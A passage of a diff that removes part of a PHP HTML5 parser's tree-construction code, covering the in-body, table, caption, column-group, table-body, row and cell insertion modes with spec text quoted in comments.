$this->inBody($token); - break; - - /* A start tag whose tag name is "input" */ - case 'input': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an input element for the token. */ - $element = $this->insertElement($token, false); - - /* If the form element pointer is not null, then associate the - input element with the form element pointed to by the form - element pointer. */ - $this->form_pointer !== null - ? $this->form_pointer->appendChild($element) - : end($this->stack)->appendChild($element); - - /* Pop that input element off the stack of open elements. */ - array_pop($this->stack); - break; - - /* A start tag whose tag name is "isindex" */ - case 'isindex': - /* Parse error. */ - // w/e - - /* If the form element pointer is not null, - then ignore the token. */ - if($this->form_pointer === null) { - /* Act as if a start tag token with the tag name "form" had - been seen. */ - $this->inBody(array( - 'name' => 'body', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - /* Act as if a start tag token with the tag name "hr" had - been seen. */ - $this->inBody(array( - 'name' => 'hr', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - /* Act as if a start tag token with the tag name "p" had - been seen. */ - $this->inBody(array( - 'name' => 'p', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - /* Act as if a start tag token with the tag name "label" - had been seen. */ - $this->inBody(array( - 'name' => 'label', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - /* Act as if a stream of character tokens had been seen. */ - $this->insertText('This is a searchable index. '. - 'Insert your search keywords here: '); - - /* Act as if a start tag token with the tag name "input" - had been seen, with all the attributes from the "isindex" - token, except with the "name" attribute set to the value - "isindex" (ignoring any explicit "name" attribute). */ - $attr = $token['attr']; - $attr[] = array('name' => 'name', 'value' => 'isindex'); - - $this->inBody(array( - 'name' => 'input', - 'type' => HTML5::STARTTAG, - 'attr' => $attr - )); - - /* Act as if a stream of character tokens had been seen - (see below for what they should say). */ - $this->insertText('This is a searchable index. '. - 'Insert your search keywords here: '); - - /* Act as if an end tag token with the tag name "label" - had been seen. */ - $this->inBody(array( - 'name' => 'label', - 'type' => HTML5::ENDTAG - )); - - /* Act as if an end tag token with the tag name "p" had - been seen. */ - $this->inBody(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - - /* Act as if a start tag token with the tag name "hr" had - been seen. */ - $this->inBody(array( - 'name' => 'hr', - 'type' => HTML5::ENDTAG - )); - - /* Act as if an end tag token with the tag name "form" had - been seen. */ - $this->inBody(array( - 'name' => 'form', - 'type' => HTML5::ENDTAG - )); - } - break; - - /* A start tag whose tag name is "textarea" */ - case 'textarea': - $this->insertElement($token); - - /* Switch the tokeniser's content model flag to the - RCDATA state. */ - return HTML5::RCDATA; - break; - - /* A start tag whose tag name is one of: "iframe", "noembed", - "noframes" */ - case 'iframe': case 'noembed': case 'noframes': - $this->insertElement($token); - - /* Switch the tokeniser's content model flag to the CDATA state. */ - return HTML5::CDATA; - break; - - /* A start tag whose tag name is "select" */ - case 'select': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in select". */ - $this->mode = self::IN_SELECT; - break; - - /* A start or end tag whose tag name is one of: "caption", "col", - "colgroup", "frame", "frameset", "head", "option", "optgroup", - "tbody", "td", "tfoot", "th", "thead", "tr". */ - case 'caption': case 'col': case 'colgroup': case 'frame': - case 'frameset': case 'head': case 'option': case 'optgroup': - case 'tbody': case 'td': case 'tfoot': case 'th': case 'thead': - case 'tr': - // Parse error. Ignore the token. - break; - - /* A start or end tag whose tag name is one of: "event-source", - "section", "nav", "article", "aside", "header", "footer", - "datagrid", "command" */ - case 'event-source': case 'section': case 'nav': case 'article': - case 'aside': case 'header': case 'footer': case 'datagrid': - case 'command': - // Work in progress! - break; - - /* A start tag token not covered by the previous entries */ - default: - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - $this->insertElement($token, true, true); - break; - } - break; - - case HTML5::ENDTAG: - switch($token['name']) { - /* An end tag with the tag name "body" */ - case 'body': - /* If the second element in the stack of open elements is - not a body element, this is a parse error. Ignore the token. - (innerHTML case) */ - if(count($this->stack) < 2 || $this->stack[1]->nodeName !== 'body') { - // Ignore. - - /* If the current node is not the body element, then this - is a parse error. */ - } elseif(end($this->stack)->nodeName !== 'body') { - // Parse error. - } - - /* Change the insertion mode to "after body". */ - $this->mode = self::AFTER_BODY; - break; - - /* An end tag with the tag name "html" */ - case 'html': - /* Act as if an end tag with tag name "body" had been seen, - then, if that token wasn't ignored, reprocess the current - token. */ - $this->inBody(array( - 'name' => 'body', - 'type' => HTML5::ENDTAG - )); - - return $this->afterBody($token); - break; - - /* An end tag whose tag name is one of: "address", "blockquote", - "center", "dir", "div", "dl", "fieldset", "listing", "menu", - "ol", "pre", "ul" */ - case 'address': case 'blockquote': case 'center': case 'dir': - case 'div': case 'dl': case 'fieldset': case 'listing': - case 'menu': case 'ol': case 'pre': case 'ul': - /* If the stack of open elements has an element in scope - with the same tag name as that of the token, then generate - implied end tags. */ - if($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(); - - /* Now, if the current node is not an element with - the same tag name as that of the token, then this - is a parse error. */ - // w/e - - /* If the stack of open elements has an element in - scope with the same tag name as that of the token, - then pop elements from this stack until an element - with that tag name has been popped from the stack. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === $token['name']) { - $n = -1; - } - - array_pop($this->stack); - } - } - break; - - /* An end tag whose tag name is "form" */ - case 'form': - /* If the stack of open elements has an element in scope - with the same tag name as that of the token, then generate - implied end tags. */ - if($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(); - - } - - if(end($this->stack)->nodeName !== $token['name']) { - /* Now, if the current node is not an element with the - same tag name as that of the token, then this is a parse - error. */ - // w/e - - } else { - /* Otherwise, if the current node is an element with - the same tag name as that of the token pop that element - from the stack. */ - array_pop($this->stack); - } - - /* In any case, set the form element pointer to null. */ - $this->form_pointer = null; - break; - - /* An end tag whose tag name is "p" */ - case 'p': - /* If the stack of open elements has a p element in scope, - then generate implied end tags, except for p elements. */ - if($this->elementInScope('p')) { - $this->generateImpliedEndTags(array('p')); - - /* If the current node is not a p element, then this is - a parse error. */ - // k - - /* If the stack of open elements has a p element in - scope, then pop elements from this stack until the stack - no longer has a p element in scope. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->elementInScope('p')) { - array_pop($this->stack); - - } else { - break; - } - } - } - break; - - /* An end tag whose tag name is "dd", "dt", or "li" */ - case 'dd': case 'dt': case 'li': - /* If the stack of open elements has an element in scope - whose tag name matches the tag name of the token, then - generate implied end tags, except for elements with the - same tag name as the token. */ - if($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(array($token['name'])); - - /* If the current node is not an element with the same - tag name as the token, then this is a parse error. */ - // w/e - - /* If the stack of open elements has an element in scope - whose tag name matches the tag name of the token, then - pop elements from this stack until an element with that - tag name has been popped from the stack. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === $token['name']) { - $n = -1; - } - - array_pop($this->stack); - } - } - break; - - /* An end tag whose tag name is one of: "h1", "h2", "h3", "h4", - "h5", "h6" */ - case 'h1': case 'h2': case 'h3': case 'h4': case 'h5': case 'h6': - $elements = array('h1', 'h2', 'h3', 'h4', 'h5', 'h6'); - - /* If the stack of open elements has in scope an element whose - tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then - generate implied end tags. */ - if($this->elementInScope($elements)) { - $this->generateImpliedEndTags(); - - /* Now, if the current node is not an element with the same - tag name as that of the token, then this is a parse error. */ - // w/e - - /* If the stack of open elements has in scope an element - whose tag name is one of "h1", "h2", "h3", "h4", "h5", or - "h6", then pop elements from the stack until an element - with one of those tag names has been popped from the stack. */ - while($this->elementInScope($elements)) { - array_pop($this->stack); - } - } - break; - - /* An end tag whose tag name is one of: "a", "b", "big", "em", - "font", "i", "nobr", "s", "small", "strike", "strong", "tt", "u" */ - case 'a': case 'b': case 'big': case 'em': case 'font': - case 'i': case 'nobr': case 's': case 'small': case 'strike': - case 'strong': case 'tt': case 'u': - /* 1. Let the formatting element be the last element in - the list of active formatting elements that: - * is between the end of the list and the last scope - marker in the list, if any, or the start of the list - otherwise, and - * has the same tag name as the token. - */ - while(true) { - for($a = count($this->a_formatting) - 1; $a >= 0; $a--) { - if($this->a_formatting[$a] === self::MARKER) { - break; - - } elseif($this->a_formatting[$a]->tagName === $token['name']) { - $formatting_element = $this->a_formatting[$a]; - $in_stack = in_array($formatting_element, $this->stack, true); - $fe_af_pos = $a; - break; - } - } - - /* If there is no such node, or, if that node is - also in the stack of open elements but the element - is not in scope, then this is a parse error. Abort - these steps. The token is ignored. */ - if(!isset($formatting_element) || ($in_stack && - !$this->elementInScope($token['name']))) { - break; - - /* Otherwise, if there is such a node, but that node - is not in the stack of open elements, then this is a - parse error; remove the element from the list, and - abort these steps. */ - } elseif(isset($formatting_element) && !$in_stack) { - unset($this->a_formatting[$fe_af_pos]); - $this->a_formatting = array_merge($this->a_formatting); - break; - } - - /* 2. Let the furthest block be the topmost node in the - stack of open elements that is lower in the stack - than the formatting element, and is not an element in - the phrasing or formatting categories. There might - not be one. */ - $fe_s_pos = array_search($formatting_element, $this->stack, true); - $length = count($this->stack); - - for($s = $fe_s_pos + 1; $s < $length; $s++) { - $category = $this->getElementCategory($this->stack[$s]->nodeName); - - if($category !== self::PHRASING && $category !== self::FORMATTING) { - $furthest_block = $this->stack[$s]; - } - } - - /* 3. If there is no furthest block, then the UA must - skip the subsequent steps and instead just pop all - the nodes from the bottom of the stack of open - elements, from the current node up to the formatting - element, and remove the formatting element from the - list of active formatting elements. */ - if(!isset($furthest_block)) { - for($n = $length - 1; $n >= $fe_s_pos; $n--) { - array_pop($this->stack); - } - - unset($this->a_formatting[$fe_af_pos]); - $this->a_formatting = array_merge($this->a_formatting); - break; - } - - /* 4. Let the common ancestor be the element - immediately above the formatting element in the stack - of open elements. */ - $common_ancestor = $this->stack[$fe_s_pos - 1]; - - /* 5. If the furthest block has a parent node, then - remove the furthest block from its parent node. */ - if($furthest_block->parentNode !== null) { - $furthest_block->parentNode->removeChild($furthest_block); - } - - /* 6. Let a bookmark note the position of the - formatting element in the list of active formatting - elements relative to the elements on either side - of it in the list. */ - $bookmark = $fe_af_pos; - - /* 7. Let node and last node be the furthest block. - Follow these steps: */ - $node = $furthest_block; - $last_node = $furthest_block; - - while(true) { - for($n = array_search($node, $this->stack, true) - 1; $n >= 0; $n--) { - /* 7.1 Let node be the element immediately - prior to node in the stack of open elements. */ - $node = $this->stack[$n]; - - /* 7.2 If node is not in the list of active - formatting elements, then remove node from - the stack of open elements and then go back - to step 1. */ - if(!in_array($node, $this->a_formatting, true)) { - unset($this->stack[$n]); - $this->stack = array_merge($this->stack); - - } else { - break; - } - } - - /* 7.3 Otherwise, if node is the formatting - element, then go to the next step in the overall - algorithm. */ - if($node === $formatting_element) { - break; - - /* 7.4 Otherwise, if last node is the furthest - block, then move the aforementioned bookmark to - be immediately after the node in the list of - active formatting elements. */ - } elseif($last_node === $furthest_block) { - $bookmark = array_search($node, $this->a_formatting, true) + 1; - } - - /* 7.5 If node has any children, perform a - shallow clone of node, replace the entry for - node in the list of active formatting elements - with an entry for the clone, replace the entry - for node in the stack of open elements with an - entry for the clone, and let node be the clone. */ - if($node->hasChildNodes()) { - $clone = $node->cloneNode(); - $s_pos = array_search($node, $this->stack, true); - $a_pos = array_search($node, $this->a_formatting, true); - - $this->stack[$s_pos] = $clone; - $this->a_formatting[$a_pos] = $clone; - $node = $clone; - } - - /* 7.6 Insert last node into node, first removing - it from its previous parent node if any. */ - if($last_node->parentNode !== null) { - $last_node->parentNode->removeChild($last_node); - } - - $node->appendChild($last_node); - - /* 7.7 Let last node be node. */ - $last_node = $node; - } - - /* 8. Insert whatever last node ended up being in - the previous step into the common ancestor node, - first removing it from its previous parent node if - any. */ - if($last_node->parentNode !== null) { - $last_node->parentNode->removeChild($last_node); - } - - $common_ancestor->appendChild($last_node); - - /* 9. Perform a shallow clone of the formatting - element. */ - $clone = $formatting_element->cloneNode(); - - /* 10. Take all of the child nodes of the furthest - block and append them to the clone created in the - last step. */ - while($furthest_block->hasChildNodes()) { - $child = $furthest_block->firstChild; - $furthest_block->removeChild($child); - $clone->appendChild($child); - } - - /* 11. Append that clone to the furthest block. */ - $furthest_block->appendChild($clone); - - /* 12. Remove the formatting element from the list - of active formatting elements, and insert the clone - into the list of active formatting elements at the - position of the aforementioned bookmark. */ - $fe_af_pos = array_search($formatting_element, $this->a_formatting, true); - unset($this->a_formatting[$fe_af_pos]); - $this->a_formatting = array_merge($this->a_formatting); - - $af_part1 = array_slice($this->a_formatting, 0, $bookmark - 1); - $af_part2 = array_slice($this->a_formatting, $bookmark, count($this->a_formatting)); - $this->a_formatting = array_merge($af_part1, array($clone), $af_part2); - - /* 13. Remove the formatting element from the stack - of open elements, and insert the clone into the stack - of open elements immediately after (i.e. in a more - deeply nested position than) the position of the - furthest block in that stack. */ - $fe_s_pos = array_search($formatting_element, $this->stack, true); - $fb_s_pos = array_search($furthest_block, $this->stack, true); - unset($this->stack[$fe_s_pos]); - - $s_part1 = array_slice($this->stack, 0, $fb_s_pos); - $s_part2 = array_slice($this->stack, $fb_s_pos + 1, count($this->stack)); - $this->stack = array_merge($s_part1, array($clone), $s_part2); - - /* 14. Jump back to step 1 in this series of steps. */ - unset($formatting_element, $fe_af_pos, $fe_s_pos, $furthest_block); - } - break; - - /* An end tag token whose tag name is one of: "button", - "marquee", "object" */ - case 'button': case 'marquee': case 'object': - /* If the stack of open elements has an element in scope whose - tag name matches the tag name of the token, then generate implied - tags. */ - if($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(); - - /* Now, if the current node is not an element with the same - tag name as the token, then this is a parse error. */ - // k - - /* Now, if the stack of open elements has an element in scope - whose tag name matches the tag name of the token, then pop - elements from the stack until that element has been popped from - the stack, and clear the list of active formatting elements up - to the last marker. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === $token['name']) { - $n = -1; - } - - array_pop($this->stack); - } - - $marker = end(array_keys($this->a_formatting, self::MARKER, true)); - - for($n = count($this->a_formatting) - 1; $n > $marker; $n--) { - array_pop($this->a_formatting); - } - } - break; - - /* Or an end tag whose tag name is one of: "area", "basefont", - "bgsound", "br", "embed", "hr", "iframe", "image", "img", - "input", "isindex", "noembed", "noframes", "param", "select", - "spacer", "table", "textarea", "wbr" */ - case 'area': case 'basefont': case 'bgsound': case 'br': - case 'embed': case 'hr': case 'iframe': case 'image': - case 'img': case 'input': case 'isindex': case 'noembed': - case 'noframes': case 'param': case 'select': case 'spacer': - case 'table': case 'textarea': case 'wbr': - // Parse error. Ignore the token. - break; - - /* An end tag token not covered by the previous entries */ - default: - for($n = count($this->stack) - 1; $n >= 0; $n--) { - /* Initialise node to be the current node (the bottommost - node of the stack). */ - $node = end($this->stack); - - /* If node has the same tag name as the end tag token, - then: */ - if($token['name'] === $node->nodeName) { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* If the tag name of the end tag token does not - match the tag name of the current node, this is a - parse error. */ - // k - - /* Pop all the nodes from the current node up to - node, including node, then stop this algorithm. */ - for($x = count($this->stack) - $n; $x >= $n; $x--) { - array_pop($this->stack); - } - - } else { - $category = $this->getElementCategory($node); - - if($category !== self::SPECIAL && $category !== self::SCOPING) { - /* Otherwise, if node is in neither the formatting - category nor the phrasing category, then this is a - parse error. Stop this algorithm. The end tag token - is ignored. */ - return false; - } - } - } - break; - } - break; - } - } - - private function inTable($token) { - $clear = array('html', 'table'); - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $text = $this->dom->createTextNode($token['data']); - end($this->stack)->appendChild($text); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - end($this->stack)->appendChild($comment); - - /* A start tag whose tag name is "caption" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'caption') { - /* Clear the stack back to a table context. */ - $this->clearStackToTableContext($clear); - - /* Insert a marker at the end of the list of active - formatting elements. */ - $this->a_formatting[] = self::MARKER; - - /* Insert an HTML element for the token, then switch the - insertion mode to "in caption". */ - $this->insertElement($token); - $this->mode = self::IN_CAPTION; - - /* A start tag whose tag name is "colgroup" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'colgroup') { - /* Clear the stack back to a table context. */ - $this->clearStackToTableContext($clear); - - /* Insert an HTML element for the token, then switch the - insertion mode to "in column group". */ - $this->insertElement($token); - $this->mode = self::IN_CGROUP; - - /* A start tag whose tag name is "col" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'col') { - $this->inTable(array( - 'name' => 'colgroup', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - $this->inColumnGroup($token); - - /* A start tag whose tag name is one of: "tbody", "tfoot", "thead" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('tbody', 'tfoot', 'thead'))) { - /* Clear the stack back to a table context. */ - $this->clearStackToTableContext($clear); - - /* Insert an HTML element for the token, then switch the insertion - mode to "in table body". */ - $this->insertElement($token); - $this->mode = self::IN_TBODY; - - /* A start tag whose tag name is one of: "td", "th", "tr" */ - } elseif($token['type'] === HTML5::STARTTAG && - in_array($token['name'], array('td', 'th', 'tr'))) { - /* Act as if a start tag token with the tag name "tbody" had been - seen, then reprocess the current token. */ - $this->inTable(array( - 'name' => 'tbody', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - return $this->inTableBody($token); - - /* A start tag whose tag name is "table" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'table') { - /* Parse error. Act as if an end tag token with the tag name "table" - had been seen, then, if that token wasn't ignored, reprocess the - current token. */ - $this->inTable(array( - 'name' => 'table', - 'type' => HTML5::ENDTAG - )); - - return $this->mainPhase($token); - - /* An end tag whose tag name is "table" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'table') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if(!$this->elementInScope($token['name'], true)) { - return false; - - /* Otherwise: */ - } else { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* Now, if the current node is not a table element, then this - is a parse error. */ - // w/e - - /* Pop elements from this stack until a table element has been - popped from the stack. */ - while(true) { - $current = end($this->stack)->nodeName; - array_pop($this->stack); - - if($current === 'table') { - break; - } - } - - /* Reset the insertion mode appropriately. */ - $this->resetInsertionMode(); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'caption', 'col', 'colgroup', 'html', 'tbody', 'td', - 'tfoot', 'th', 'thead', 'tr'))) { - // Parse error. Ignore the token. - - /* Anything else */ - } else { - /* Parse error. Process the token as if the insertion mode was "in - body", with the following exception: */ - - /* If the current node is a table, tbody, tfoot, thead, or tr - element, then, whenever a node would be inserted into the current - node, it must instead be inserted into the foster parent element. */ - if(in_array(end($this->stack)->nodeName, - array('table', 'tbody', 'tfoot', 'thead', 'tr'))) { - /* The foster parent element is the parent element of the last - table element in the stack of open elements, if there is a - table element and it has such a parent element. If there is no - table element in the stack of open elements (innerHTML case), - then the foster parent element is the first element in the - stack of open elements (the html element). Otherwise, if there - is a table element in the stack of open elements, but the last - table element in the stack of open elements has no parent, or - its parent node is not an element, then the foster parent - element is the element before the last table element in the - stack of open elements. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === 'table') { - $table = $this->stack[$n]; - break; - } - } - - if(isset($table) && $table->parentNode !== null) { - $this->foster_parent = $table->parentNode; - - } elseif(!isset($table)) { - $this->foster_parent = $this->stack[0]; - - } elseif(isset($table) && ($table->parentNode === null || - $table->parentNode->nodeType !== XML_ELEMENT_NODE)) { - $this->foster_parent = $this->stack[$n - 1]; - } - } - - $this->inBody($token); - } - } - - private function inCaption($token) { - /* An end tag whose tag name is "caption" */ - if($token['type'] === HTML5::ENDTAG && $token['name'] === 'caption') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore - - /* Otherwise: */ - } else { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* Now, if the current node is not a caption element, then this - is a parse error. */ - // w/e - - /* Pop elements from this stack until a caption element has - been popped from the stack. */ - while(true) { - $node = end($this->stack)->nodeName; - array_pop($this->stack); - - if($node === 'caption') { - break; - } - } - - /* Clear the list of active formatting elements up to the last - marker. */ - $this->clearTheActiveFormattingElementsUpToTheLastMarker(); - - /* Switch the insertion mode to "in table". */ - $this->mode = self::IN_TABLE; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "td", "tfoot", "th", "thead", "tr", or an end tag whose tag - name is "table" */ - } elseif(($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th', - 'thead', 'tr'))) || ($token['type'] === HTML5::ENDTAG && - $token['name'] === 'table')) { - /* Parse error. Act as if an end tag with the tag name "caption" - had been seen, then, if that token wasn't ignored, reprocess the - current token. */ - $this->inCaption(array( - 'name' => 'caption', - 'type' => HTML5::ENDTAG - )); - - return $this->inTable($token); - - /* An end tag whose tag name is one of: "body", "col", "colgroup", - "html", "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'col', 'colgroup', 'html', 'tbody', 'tfoot', 'th', - 'thead', 'tr'))) { - // Parse error. Ignore the token. - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in body". */ - $this->inBody($token); - } - } - - private function inColumnGroup($token) { - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $text = $this->dom->createTextNode($token['data']); - end($this->stack)->appendChild($text); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - end($this->stack)->appendChild($comment); - - /* A start tag whose tag name is "col" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'col') { - /* Insert a col element for the token. Immediately pop the current - node off the stack of open elements. */ - $this->insertElement($token); - array_pop($this->stack); - - /* An end tag whose tag name is "colgroup" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'colgroup') { - /* If the current node is the root html element, then this is a - parse error, ignore the token. (innerHTML case) */ - if(end($this->stack)->nodeName === 'html') { - // Ignore - - /* Otherwise, pop the current node (which will be a colgroup - element) from the stack of open elements. Switch the insertion - mode to "in table". */ - } else { - array_pop($this->stack); - $this->mode = self::IN_TABLE; - } - - /* An end tag whose tag name is "col" */ - } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'col') { - /* Parse error. Ignore the token. */ - - /* Anything else */ - } else { - /* Act as if an end tag with the tag name "colgroup" had been seen, - and then, if that token wasn't ignored, reprocess the current token. */ - $this->inColumnGroup(array( - 'name' => 'colgroup', - 'type' => HTML5::ENDTAG - )); - - return $this->inTable($token); - } - } - - private function inTableBody($token) { - $clear = array('tbody', 'tfoot', 'thead', 'html'); - - /* A start tag whose tag name is "tr" */ - if($token['type'] === HTML5::STARTTAG && $token['name'] === 'tr') { - /* Clear the stack back to a table body context. */ - $this->clearStackToTableContext($clear); - - /* Insert a tr element for the token, then switch the insertion - mode to "in row". */ - $this->insertElement($token); - $this->mode = self::IN_ROW; - - /* A start tag whose tag name is one of: "th", "td" */ - } elseif($token['type'] === HTML5::STARTTAG && - ($token['name'] === 'th' || $token['name'] === 'td')) { - /* Parse error. Act as if a start tag with the tag name "tr" had - been seen, then reprocess the current token. */ - $this->inTableBody(array( - 'name' => 'tr', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - return $this->inRow($token); - - /* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */ - } elseif($token['type'] === HTML5::ENDTAG && - in_array($token['name'], array('tbody', 'tfoot', 'thead'))) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore - - /* Otherwise: */ - } else { - /* Clear the stack back to a table body context. */ - $this->clearStackToTableContext($clear); - - /* Pop the current node from the stack of open elements. Switch - the insertion mode to "in table". */ - array_pop($this->stack); - $this->mode = self::IN_TABLE; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "tfoot", "thead", or an end tag whose tag name is "table" */ - } elseif(($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'tfoor', 'thead'))) || - ($token['type'] === HTML5::STARTTAG && $token['name'] === 'table')) { - /* If the stack of open elements does not have a tbody, thead, or - tfoot element in table scope, this is a parse error. Ignore the - token. (innerHTML case) */ - if(!$this->elementInScope(array('tbody', 'thead', 'tfoot'), true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Clear the stack back to a table body context. */ - $this->clearStackToTableContext($clear); - - /* Act as if an end tag with the same tag name as the current - node ("tbody", "tfoot", or "thead") had been seen, then - reprocess the current token. */ - $this->inTableBody(array( - 'name' => end($this->stack)->nodeName, - 'type' => HTML5::ENDTAG - )); - - return $this->mainPhase($token); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html", "td", "th", "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr'))) { - /* Parse error. Ignore the token. */ - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in table". */ - $this->inTable($token); - } - } - - private function inRow($token) { - $clear = array('tr', 'html'); - - /* A start tag whose tag name is one of: "th", "td" */ - if($token['type'] === HTML5::STARTTAG && - ($token['name'] === 'th' || $token['name'] === 'td')) { - /* Clear the stack back to a table row context. */ - $this->clearStackToTableContext($clear); - - /* Insert an HTML element for the token, then switch the insertion - mode to "in cell". */ - $this->insertElement($token); - $this->mode = self::IN_CELL; - - /* Insert a marker at the end of the list of active formatting - elements. */ - $this->a_formatting[] = self::MARKER; - - /* An end tag whose tag name is "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'tr') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Clear the stack back to a table row context. */ - $this->clearStackToTableContext($clear); - - /* Pop the current node (which will be a tr element) from the - stack of open elements. Switch the insertion mode to "in table - body". */ - array_pop($this->stack); - $this->mode = self::IN_TBODY; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "tfoot", "thead", "tr" or an end tag whose tag name is "table" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'tfoot', 'thead', 'tr'))) { - /* Act as if an end tag with the tag name "tr" had been seen, then, - if that token wasn't ignored, reprocess the current token. */ - $this->inRow(array( - 'name' => 'tr', - 'type' => HTML5::ENDTAG - )); - - return $this->inCell($token); - - /* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */ - } elseif($token['type'] === HTML5::ENDTAG && - in_array($token['name'], array('tbody', 'tfoot', 'thead'))) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Otherwise, act as if an end tag with the tag name "tr" had - been seen, then reprocess the current token. */ - $this->inRow(array( - 'name' => 'tr', - 'type' => HTML5::ENDTAG - )); - - return $this->inCell($token); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html", "td", "th" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr'))) { - /* Parse error. Ignore the token. */ - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in table". */ - $this->inTable($token); - } - } - - private function inCell($token) { - /* An end tag whose tag name is one of: "td", "th" */ - if($token['type'] === HTML5::ENDTAG && - ($token['name'] === 'td' || $token['name'] === 'th')) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as that of the token, then this is a - parse error and the token must be ignored. */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Generate implied end tags, except for elements with the same - tag name as the token. */ - $this->generateImpliedEndTags(array($token['name'])); - - /* Now, if the current node is not an element with the same tag - name as the token, then this is a parse error. */ - // k - - /* Pop elements from this stack until an element with the same - tag name as the token has been popped from the stack. */ - while(true) { - $node = end($this->stack)->nodeName; - array_pop($this->stack); - - if($node === $token['name']) { - break; - } - } - - /* Clear the list of active formatting elements up to the last - marker. */ - $this->clearTheActiveFormattingElementsUpToTheLastMarker(); - - /* Switch the insertion mode to "in row". (The current node - will be a tr element at this point.) */ - $this->mode = 